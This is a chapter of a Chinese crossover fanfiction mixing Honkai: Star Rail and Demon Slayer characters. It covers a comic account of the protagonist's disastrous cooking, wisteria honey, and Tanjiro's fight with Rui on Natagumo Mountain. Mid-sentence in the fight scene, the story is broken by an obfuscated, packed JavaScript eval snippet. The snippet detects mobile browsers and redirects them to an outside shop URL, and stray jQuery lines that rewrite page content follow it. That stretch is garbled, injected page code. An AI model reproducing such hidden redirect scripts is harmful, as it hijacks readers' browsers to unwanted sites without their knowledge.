74.那田蜘蛛山

作品:《我当精神病那些年[综崩铁]

    紫藤花蜜和桂花蜜的制作原理是一样的。


    只要把花洗干净,放进新鲜的蜂蜜里搅拌均匀,再封罐放在阴凉的地方静置几天,就能让花瓣和蜂蜜完美融合,在保留甜味的同时增加香气了。


    “所以……你为什么不自己做?”蝴蝶忍看着小葵在小醒指挥下制作紫藤蜜,疑惑。


    “我不想。”小醒面不改色地回答。


    ↑其实是因为他是厨房杀手。


    不知道是不是某种奇怪的诅咒,凡是经过他手的菜(进行时)几乎有八九成的概率会在最后完成前变成一团不明物体。


    他觉得这不是手艺问题,因为他最开始尝试的烹饪是超级简单的戚风蛋糕,也就是蛋糕胚,只要按照配方做好料子然后放进烤炉就能做好。


    可是,明明他每个步骤都是按照菜谱上写的做的,烤箱的温度和电力也没有问题,但最后就是翻车了。


    变成一团焦炭了。


    彼时教他烹饪的万敌看着这盘碳陷入了沉思,路过的白厄好奇地凑过来问:“这是啥啊,脏脏包吗?”


    小醒:……


    “就是普通蛋糕,刚出炉。”万敌瞪了他一眼,“少说点胡话,你这样他要伤心了。”


    “……啊?”白厄的脑子还有点没转过来。


    他望望桌上那一堆还没来得及收拾的原料和工具,又看看貌似不是很开心的小醒(其实依旧是面无表情),恍然大悟。


    “哦哦,原来是初尝试啊!没事没事,第一次能做成这样已经很厉害了……”


    风从窗户里吹进来,蛋糕中心发出红光。


    他们:……


    “……噗……”


    眼看着要忍不住,白厄捂着口鼻就跑出去了。


    不行了,为什么吹一下还能冒火星子的,这根本就是煤炭吧!


    小醒愤愤地把煤……啊不是,蛋糕胚塞回烤炉,试图回炉重造。


    然鹅并没有什么卵用。


    他当时可生气了,只觉得蛋糕上的火星子好像组成一张笑脸在嘲讽他:


    放弃吧孩子,放弃吧,就算你再烤它也不会变回面团的。


    往好处想,他做出了最真实的火山熔岩蛋糕!


    (火山看到了,这玩意跟熔岩和蛋糕有半毛钱关系吗?)


    然后他愤愤地尝试了其他料理,甚至连完全没有技术水平的沙拉都试了,但是不行,不行就是不行。


    饼干会变成粉粉,水煮蛋会变成砖头,沙拉的番茄酱莫名变成了草莓酱,吃是能吃但总觉得不伦不类。


    你或许会问,那成功的那一二成呢?不是还有成功的时候吗?


    其实那两成更糟。


    小醒对料理的成功与否只看食物是否能正常出锅,不包括对周围环境的影响。


    比如在他烤蛋挞成功的那次记录里,厨房炸了。


    依旧是那个厨房,依旧是那个烤炉,依旧是万敌在带,直到端进烤炉还没有翻车的时候他还满怀期待。


    然后厨房炸了。


    爆炸发生的时候他人还是懵的,唰一下就被万敌捞着冲了出去,然后望着火光冲天浓烟滚滚的厨房沉默无言。


    最后他们用消防栓里的灭火器灭了火,但厨房已经彻底毁掉了,墙皮和天花板都是黑的,瓷砖和窗户碎片到处都是,不穿个结实的鞋甚至无法下脚。


    戏剧的是烤炉没有坏,蛋挞也没有羽化成灰,相反成色还非常好,尝一下比很多蛋糕店卖的蛋挞还要好吃。


    好吃到爆炸(物理意义上的)


    吃了一个后白厄如是评价:怪不得蛋挞卖得那么贵,原来是每做一炉就要消耗一个厨房。


    感觉自己的教学能力被嘲笑了的万敌:HKS!


    然后战损风厨房迎来第二次损伤。


    小醒很清楚,豹猫就是这样的。


    厄:只是开玩笑


    碗:一直在挑衅我


    总之从那之后小醒就没做过饭了,就算他突发奇想又想试试,周围的人也会在他进厨房的下一秒发出尖锐暴鸣并把他抱出来。


    他对此没有异议,毕竟修建厨房是一件费钱又费力的事,经常这样未免太麻烦别人。


    所以现在他也没有直接参与制作花蜜的过程,他可不认为这种“厨房杀手”特制换个地方之后就能消失了。


    “做好了!”小葵将装好蜂蜜和花瓣的玻璃瓶放在桌上,“你……呃…苍舒君,请问现在就要拿走吗?”


    她有点拿捏不准。


    对于这个陌生的“小孩子”,她还是有点怕的。直觉告诉她他不是正常人,他自己也说了自己不是人,但他可以晒太阳摘紫藤花,主公和虫柱也相信他,她有些搞不清这个人到底是好人还是坏人。


    或许要多观察一段时间。


    “嗯,拿走。”孩童捧起蜂蜜罐,光滑的玻璃瓶差不多要两只手才能拿稳。


    他直接把这个放进虚数空间里。


    “消、消失了!”小葵警觉。


    “……紫藤花对人也有毒。”蝴蝶忍酝酿几句,最后只说出来这句话。


    小醒没看她:“不会致死。”


    只是消化代谢起来会比较吃力,量大的话容易造成器官衰竭。


    但又不是当饭吃,这点计量或许还不如吃盘没熟的菌子有害。


    而且……


    “你不是一直在吃吗?”


    “……”


    蝴蝶忍张张嘴,没说话。


    她第一次感受到语言有多么苍白无力,眼前人好像知道任何事,从鬼的踪迹到主公的诅咒,还有她同归于尽的计划。


    她甚至有种错觉,接下来她会说的话,会做的事,他也一并预知了。


    神社里最厉害的巫女和神官,也不可能做到这点,因其已超出凡人的范畴。


    所以是神明吗?


    恶鬼横行近千年的暴行,鬼杀队四百年来前仆后继近乎徒劳的反抗,终于引来了神明的注视吗?


    仿佛是知道她在想什么,小醒忽然开口反驳她:


    “不要过多猜测,我不是神,也不是什么神意的代行者。


    “我只是一个幸运又不幸的普通人,恰巧得到了不属于我的力量,又碰巧来到这里,有事要做罢了。


    “如果你们真的想获得胜利,就要咬着牙强迫自己前进,用意志、双手和鲜血去换一个黎明,而不是将希望寄托于他人,或者祈求神明的垂怜。


    “我只会在‘任务’范围内向你们伸出援手罢了,你们是死是活我并不在意,我可是很冷漠的。”


    说罢,他拿走了桌上剩余的紫藤花瓣,转身离去。


    木门发出沉闷的声响。


    蝴蝶忍看着他的远去,沉默不语。


    居然是这样的回答吗……


    可……真正冷漠的人,怎么会说自己冷漠呢?


    这个疑惑是得不到答案的,而一段时间后,那田蜘蛛山也迎来了它的[命运]。


    伤口好得超级快的三小只兴冲冲跑上山,不出意外地遭遇下弦了!


    虽然是排名很低的下弦,甚至他还把自己的血和力量分给了其他鬼,但也不是现在的他们就能对付得了的!


    进入山林后不久他们就走散了,每人都对上了不止一只鬼,出来助阵的祢豆子也被蛛丝缠住吊在空中。


    炭治郎的刀还断了,被一条看起来细细软软的蛛丝折断的。


    他的心脏砰砰直跳,大脑飞速运转。


    太强了,水之呼吸完全没有作用,武器也废了一半,要怎样才能砍下它的脑袋?


    他没有想过逃跑的可能性,且不说能不能逃掉,祢豆子和其他队员都在这里,就算能逃他也绝不独活!


    这时,他想起几年前,父亲在家门口跳神乐舞的画面。


    那是灶门家的传统,每年冬天最冷的那天,他们都要穿上单薄的衣服,掩盖住面孔,在烛火燃烧的中心跳整整一晚上舞。


    印象里父亲身体总是不好,一身骨头找不出几两肉,总给人一种他马上就要被风吹走了的错觉。可他就是能跳一整晚的神乐舞,在大部分人都会冻死累晕的环境下。


    不仅如此,他还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986474|184612||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能用砍柴的斧头杀死一头壮硕的熊,就在他病逝的前几天。


    那时候……父亲对他说过什么?


    ‘记住这些舞步,炭治郎,把它们刻进你的记忆里。就算现在做不出来也没关系,你一定会在未来的某天学会的。’


    ‘呼吸很重要,曾经我也觉得使用它很沉重,但反复练习后突然就轻松了起来,就连世界都好像变得透明了。’


    呼…吸……


    这些回忆无比漫长,但在现实中,时间又过得无比缓慢。在他抓住这一丝思维火花时,血幕般的大网甚至还没有落到他身上。


    这一瞬,他好像突然明白了。


    是命运的安排,还是天成的巧合?


    家族传承下来的神乐舞不是普通的舞蹈,而是……


    “火之神神乐……”


    空气瞬间变得炽热,每一个分子都躁动地跳跃着。


    “?!”累的脸上第一次出现了意料之外的表情。


    火光迸发!


    仅用这一把断刀,无形的剑气化作赤红的长龙,冲破了坚不可错的大网!


    前进,前进。


    一步,两步,十步!


    他在以肉眼难以捕捉的速度向累逼近!!!


    累反应迅速,释放出更多丝线绊住他的前进路线,但太紧的时间聚不出足够有力的丝,仅仅是一斩就断了!


    看着不断逼近的火光,刹那间,他已经有了决定。


    既然拦不住,那他就在对方之前把自己的脖子斩断!只要砍掉他脑袋的不是日轮刀,他就不会死去!!!


    决策一出,他已经编织好那根丝,随时都能实行计划。


    然而就在这时,一股彻骨的寒意突然从天而降。


    在场的人人鬼鬼都打了个寒噤。


    尤其是炭治郎,他正处于转变招式的重要关头,竟直接被这股冰冷冻僵了手脚,硬生生停下,吐出一口淤血!


    累也傻了一下,他刚要动手,丝就自己断掉了。


    不,是气温太低,丝线变得过脆,轻轻一碰就会碎掉。


    这么冷,是……上弦二?


    他记得比他强的鬼里只有上二是擅长用冰的,人的话……开玩笑,人怎么可能拥有这种力量!


    一瞬间,一人一鬼脑中都浮现出错误的认知。


    累是觉得胜负已定,但他认为靠自己也能赢,所以对援手的到来还有点闷闷不乐。


    炭治郎则是认为完蛋了,他被强行打断失去了行动能力,现在一步也走不出去,一定会被赶来的恶鬼杀死!


    可是为什么……


    为什么,明明只有一步之遥……


    为什么人类总是在输,为什么恶鬼总拥有远超于人的力量,明明他们是吃人的,是十恶不赦的,却总活得比善良的人更久……


    意识混乱间,他忽然想起那个神秘的孩子向他提的问题。


    ‘即便是面对毫无胜算的战斗,即便必定会死,你还是要抛弃本能平静的生活,去猎杀恶鬼吗?’


    对啊,这些值得吗?


    他们面临的是未知,是死亡,是可能永远无法战胜的敌人。


    所以值得吗?


    “这副模样真是丑陋。”累不紧不慢地走到他身前,居高临下看着他。


    “你会不止一种呼吸法又如何?我们之间的差距可不是喊两句话就能弥补的……嗯?”


    在鬼的目光中,少年用僵直颤抖的手,重新捡起断裂的剑柄。


    “当然值得啊!!!”他撕心裂肺喊到。


    什么不值得的,怎么可能呢!!!


    只是会死就要逃走吗?


    开什么玩笑!!!


    “嗡!”


    忽然,一声刺耳的声音在上方响起。


    寒意更盛,周围挂起大风,把炭治郎和上面的祢豆子全都吹走了!


    “?!”


    累有些不明所以,却抬头发现有一柄巨剑正悬浮在山林上空,向自己坠来!


    空中传来少年清冽的声音。


    “天河泻!”